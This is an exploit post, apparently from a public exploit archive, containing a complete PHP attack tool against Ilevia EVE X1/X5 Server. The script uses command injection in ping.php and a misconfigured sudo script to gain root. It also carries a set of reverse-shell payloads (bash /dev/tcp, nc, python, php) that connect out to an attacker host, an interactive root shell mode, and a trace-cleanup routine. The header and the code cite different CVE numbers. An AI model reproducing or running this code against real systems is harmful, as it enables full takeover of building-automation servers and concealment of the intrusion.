📄 Ilevia EVE X1/X5 Server 4.7.18.0.eden Root Privilege Escalation

=============================================================================================================================================
    | # Title     : Ilevia EVE X1/X5 Server 4.7.18.0.eden Root Privilege Escalation Vulnerability                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.ilevia.com                                                                                                      |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211593/ & CVE-2025-34514
    
    [+] Summary : A critical privilege escalation vulnerability exists in Ilevia EVE X1/X5 Server versions ≤ 4.7.18.0.eden 
                  due to improper sudoers configuration and command injection in the web interface. The vulnerability allows the www-data web user 
    			  to execute arbitrary commands as root without authentication, leading to complete system compromise.
    
    [+]  POC :  * Usage: php ilevia_exploit.php <target_url> <command>
    
    <?php
    /**
     * Ilevia EVE X1/X5 Server Privilege Escalation Exploit
     * CVE-2025-34515 - by indoushka
     */
    
    class IleviaExploit {
        private $target_url;
        private $session;
        
        public function __construct($target_url) {
            $this->target_url = rtrim($target_url, '/');
            $this->session = curl_init();
            curl_setopt_array($this->session, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT => 30,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
            ]);
        }
        
        private function request($path, $data = [], $method = 'POST') {
            $url = $this->target_url . $path;
            curl_setopt($this->session, CURLOPT_URL, $url);
            
            if ($method === 'POST') {
                curl_setopt($this->session, CURLOPT_POST, true);
                curl_setopt($this->session, CURLOPT_POSTFIELDS, http_build_query($data));
            } else {
                curl_setopt($this->session, CURLOPT_POST, false);
                if (!empty($data)) {
                    $url .= '?' . http_build_query($data);
                    curl_setopt($this->session, CURLOPT_URL, $url);
                }
            }
            
            $response = curl_exec($this->session);
            return $response;
        }
        
        /**
         * استخدام ثغرة حقن الأوامر في ping.php لكتابة أمر في السكريبت
         */
        public function injectCommand($command) {
            echo "[*] حقن الأمر في السكريبت...\n";
            
            // تحويل الأمر إلى صيغة آمنة للنص
            $encoded_cmd = base64_encode($command);
            $payload = "echo '#!/bin/bash' > /tmp/exploit.sh && ";
            $payload .= "echo 'echo \"" . addslashes($encoded_cmd) . "\" | base64 -d | bash' >> /tmp/exploit.sh && ";
            $payload .= "chmod +x /tmp/exploit.sh && ";
            $payload .= "echo 'id' >> /home/ilevia/www-config/http/emlite/sync_project.sh && ";
            $payload .= "echo 'bash /tmp/exploit.sh' >> /home/ilevia/www-config/http/emlite/sync_project.sh";
            
            $response = $this->request('/ajax/php/ping.php', [
                'ip' => "$(bash -c \"" . addslashes($payload) . "\")"
            ]);
            
            if ($response !== false && trim($response) === '0') {
                echo "[+] تم حقن الأمر بنجاح\n";
                return true;
            }
            
            echo "[-] فشل في حقن الأمر\n";
            return false;
        }
        
        /**
         * تنفيذ السكريبت المعدل باستخدام sudo
         */
        public function executePrivileged() {
            echo "[*] تنفيذ السكريبت بصلاحيات الجذر...\n";
            
            $response = $this->request('/ajax/php/ping.php', [
                'ip' => "$(sudo /home/ilevia/www-config/http/emlite/sync_project.sh > /tmp/result.txt 2>&1 && cat /tmp/result.txt)"
            ]);
            
            if ($response !== false) {
                echo "[+] تم التنفيذ بنجاح\n";
                
                // محاولة قراءة النتيجة
                $result = $this->request('/ajax/php/dbcheck.php', [
                    'db_log' => '/tmp/result.txt'
                ]);
                
                if ($result) {
                    $data = json_decode($result, true);
                    if (isset($data['error'])) {
                        return $data['error'];
                    }
                }
                
                return $response;
            }
            
            return false;
        }
        
        /**
         * تنفيذ أمر مباشر باستخدام السكريبت
         */
        public function executeCommand($command) {
            echo "[*] إعداد وتنفيذ الأمر: $command\n";
            
            // إنشاء سكريبت استغلال مؤقت
            $temp_script = "/tmp/cmd_" . md5(uniqid()) . ".sh";
            $payload = "#!/bin/bash\n";
            $payload .= "echo 'echo \\\"Executing as: \\$(id)\\\"' > $temp_script\n";
            $payload .= "echo '$command' >> $temp_script\n";
            $payload .= "chmod +x $temp_script\n";
            $payload .= "sudo bash $temp_script > /tmp/output.txt 2>&1\n";
            $payload .= "cat /tmp/output.txt";
            
            $response = $this->request('/ajax/php/ping.php', [
                'ip' => "$(bash -c \"" . addslashes($payload) . "\")"
            ]);
            
            // قراءة المخرجات
            $output = $this->request('/ajax/php/dbcheck.php', [
                'db_log' => '/tmp/output.txt'
            ]);
            
            if ($output) {
                $data = json_decode($output, true);
                if (isset($data['error']) && !empty(trim($data['error']))) {
                    return $data['error'];
                }
            }
            
            return $output ?: $response;
        }
        
        /**
         * استغلال مباشر للحصول على shell عكسي
         */
        public function reverseShell($lhost, $lport) {
            echo "[*] محاولة الحصول على shell عكسي على $lhost:$lport\n";
            
            $payloads = [
                // bash reverse shell
                "bash -i >& /dev/tcp/$lhost/$lport 0>&1",
                // nc reverse shell
                "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc $lhost $lport >/tmp/f",
                // python reverse shell
                "python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"$lhost\",$lport));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")'",
                // php reverse shell
                "php -r '\$sock=fsockopen(\"$lhost\",$lport);exec(\"/bin/bash <&3 >&3 2>&3\");'",
            ];
            
            foreach ($payloads as $i => $payload) {
                echo "[*] محاولة payload #" . ($i+1) . "\n";
                $result = $this->executeCommand($payload);
                
                if ($result !== false) {
                    echo "[+] تم إرسال payload بنجاح\n";
                    echo "[i] استمع على: nc -lvnp $lport\n";
                    return true;
                }
                
                sleep(2);
            }
            
            echo "[-] فشل جميع محاولات reverse shell\n";
            return false;
        }
        
        /**
         * اختبار الاتصال بالهدف
         */
        public function testConnection() {
            echo "[*] اختبار الاتصال بالهدف...\n";
            
            try {
                $response = $this->request('/ajax/php/ping.php', [
                    'ip' => '127.0.0.1'
                ]);
                
                if ($response !== false && trim($response) === '0') {
                    echo "[+] الهدف متاح ويستجيب\n";
                    return true;
                }
            } catch (Exception $e) {
                echo "[-] خطأ في الاتصال: " . $e->getMessage() . "\n";
            }
            
            return false;
        }
        
        /**
         * تنظيف الآثار
         */
        public function cleanup() {
            echo "[*] تنظيف الآثار...\n";
            
            $cleanup_cmd = "rm -f /tmp/exploit.sh /tmp/result.txt /tmp/output.txt /tmp/cmd_*.sh; ";
            $cleanup_cmd .= "sed -i '/^id$/d' /home/ilevia/www-config/http/emlite/sync_project.sh; ";
            $cleanup_cmd .= "sed -i '/^bash \\/tmp\\/exploit\\.sh$/d' /home/ilevia/www-config/http/emlite/sync_project.sh";
            
            $this->request('/ajax/php/ping.php', [
                'ip' => "$(bash -c \"" . addslashes($cleanup_cmd) . "\")"
            ]);
            
            echo "[+] تم التنظيف\n";
        }
        
        public function __destruct() {
            curl_close($this->session);
        }
    }
    
    // واجهة سطر الأوامر
    function printBanner() {
        echo "=============================================\n";
        echo "  Ilevia EVE X1/X5 Privilege Escalation Exploit\n";
        echo "         CVE-2025-34515 - by indoushka          \n";
        echo "=============================================\n\n";
    }
    
    function printUsage() {
        echo "الاستخدام:\n";
        echo "  php " . basename(__FILE__) . " <url> [options]\n\n";
        echo "الخيارات:\n";
        echo "  --test          اختبار الاتصال فقط\n";
        echo "  --cmd <command> تنفيذ أمر واحد\n";
        echo "  --shell <ip:port> الحصول على reverse shell\n";
        echo "  --interactive   وضع تفاعلي\n\n";
        echo "أمثلة:\n";
        echo "  php ilevia_exploit.php http://192.168.1.100:8080 --test\n";
        echo "  php ilevia_exploit.php http://target.com --cmd \"cat /etc/passwd\"\n";
        echo "  php ilevia_exploit.php http://target.com --shell 192.168.1.50:4444\n";
    }
    
    // التنفيذ الرئيسي
    if (php_sapi_name() !== 'cli') {
        die("هذا الاستغلال يعمل فقط من سطر الأوامر (CLI)\n");
    }
    
    if ($argc < 2) {
        printBanner();
        printUsage();
        exit(1);
    }
    
    $target = $argv[1];
    $exploit = new IleviaExploit($target);
    
    printBanner();
    
    // اختبار الاتصال أولاً
    if (!$exploit->testConnection()) {
        echo "[-] الهدف غير متاح\n";
        exit(1);
    }
    
    // معالجة الخيارات
    if ($argc >= 3) {
        switch ($argv[2]) {
            case '--test':
                echo "[+] اختبار الاتصال ناجح\n";
                exit(0);
                
            case '--cmd':
                if ($argc >= 4) {
                    $command = $argv[3];
                    echo "[*] تنفيذ الأمر: $command\n";
                    $result = $exploit->executeCommand($command);
                    if ($result !== false) {
                        echo "\n[+] النتيجة:\n";
                        echo "================================\n";
                        echo $result . "\n";
                        echo "================================\n";
                    } else {
                        echo "[-] فشل التنفيذ\n";
                    }
                }
                break;
                
            case '--shell':
                if ($argc >= 4) {
                    list($lhost, $lport) = explode(':', $argv[3]);
                    $exploit->reverseShell($lhost, $lport);
                }
                break;
                
            case '--interactive':
                echo "[*] الانتقال للوضع التفاعلي\n";
                echo "[i] اكتب 'exit' للخروج أو 'clean' للتنظيف\n\n";
                
                while (true) {
                    echo "ilevia> ";
                    $command = trim(fgets(STDIN));
                    
                    if ($command === 'exit') {
                        break;
                    } elseif ($command === 'clean') {
                        $exploit->cleanup();
                        continue;
                    } elseif (empty($command)) {
                        continue;
                    }
                    
                    $result = $exploit->executeCommand($command);
                    if ($result !== false) {
                        echo "\n" . $result . "\n\n";
                    } else {
                        echo "[-] فشل التنفيذ\n";
                    }
                }
                break;
                
            default:
                printUsage();
                exit(1);
        }
    } else {
        // الوضع الافتراضي: عرض خيارات sudo المتاحة
        echo "[*] جلب صلاحيات sudo للمستخدم www-data...\n";
        $result = $exploit->executeCommand("sudo -l");
        if ($result !== false) {
            echo "\n[+] صلاحيات sudo:\n";
            echo "================================\n";
            echo $result . "\n";
            echo "================================\n";
        }
        
        echo "\n[i] للمزيد من الخيارات، استخدم --help\n";
    }
    
    // تنظيف خفيف في النهاية
    $exploit->cleanup();
    echo "\n[+] انتهى التنفيذ\n";
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================